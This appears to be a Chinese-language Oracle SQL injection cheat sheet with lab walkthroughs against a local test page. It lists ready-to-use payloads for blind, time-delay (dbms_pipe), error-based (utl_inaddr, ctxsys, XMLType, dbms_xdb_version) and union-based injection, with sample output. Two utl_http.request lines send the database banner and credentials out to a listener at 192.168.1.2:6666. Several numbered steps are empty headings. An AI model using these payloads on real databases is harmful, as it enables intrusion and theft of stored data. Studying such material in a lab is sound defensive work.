常用函数

LENGTH() 长度计算函数

# 当AND两边逻辑相等时，则知道数据库长度，比如，15=左边值时，数据库长度为15

1 and 15=(SELECT LENGTH(table_name) from user_tables where rownum=1)

SUBSTR()

68=((select ascii(substr(table_name,1,1)) from user_tables WHERE rownum=1))

SUBSTR() 延时注入

1=(select decode(substr(user,1,1),'T',dbms_pipe.receive_message('RDS',5),0) from dual)

dbms_pipe.receive_message('o',5),0)

utl_inaddr.get_host_name( ) 报错注入

1=utl_inaddr.get_host_name((select user from dual))


1=ctxsys.drithsx.sn(1,(select user from dual))


(select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null


dbms_xdb_version.checkin()
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--


bms_xdb_version.makeversioned()
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --


dbms_xdb_version.uncheckout()
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --


dbms_utility.sqlid_to_sqlhash()
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --

ordsys.ord_dicom.getmappingxpath()
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--


decode()
and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

utl_http.request 外带注入

utl_http.request('http://192.168.1.2:6666/'%7c%7c(select banner from sys.v_$version where rownum=1))=1

utl_http.request('http://192.168.1.2:6666/'%7c%7c(SELECT CONCAT("name","password") FROM STU where rownum=1))=1

逻辑盲注[and or]

1.逻辑是否成立判断注入是否存在？

逻辑成立时，回显数据

http://127.0.0.1/oracle_inject/oracle.php?id=1
and 1=1

Id:1
Name:admin
Age:11

逻辑不成立时，数据为空（或者回显的数据较少）。

http://127.0.0.1/oracle_inject/oracle.php?id=1
and 1=2

2.获取数据库长度[length()]

当长度小于24时，有数据回显， 而小于23时，回显为空， 那么数据库总数量为：23

3.获取数据库名[substr]：

读取到当前数据库名称：SYSTEM

3.获取数据库名[substr&&ascii]

4.获取数据库的表名

5.

延时注入[]

联合注入 [union]

1.判断列数[order by]

# 数量<=可显示列数时，数据正常回显

http://172.20.176.1/oracle_inject/oracle.php
?id=1 order by 4--+

Id:1
Name:admin
Age:11 

# 数量>可现实列数时，数据无法回显。（报错则是常见的回显）

http://172.20.176.1/oracle_inject/oracle.php
?id=1 order by 10--+

Warning: oci_execute(): ORA-01785: ORDER BY item must be the number of a SELECT-list expression in E:\4-phpEnvironment\PhpStudy\PHPTutorial\WWW\Oracle_inject\oracle.php on line 19

Warning: oci_fetch_row(): ORA-24374: define not done before fetch or execute and fetch in E:\4-phpEnvironment\PhpStudy\PHPTutorial\WWW\Oracle_inject\oracle.php on line 20

当前order by的列数：4。

2.联合注入查询连接用户名[user]

当前连接用户名：SYSTEM

3.查询数据库用户[sys_context]

当前用户：SYSTEM

4.获取当前数据库的版本

5.查询数据库

6.查询数据库表名

以此类推，可以枚举出所有的10的表名。

7.查询数据表下的列名

8.查询数据列下的详细数据：

查询字段为：CUST_LAST_NAME、CUSTOMER_ID、ACCOUNT_MGR_ID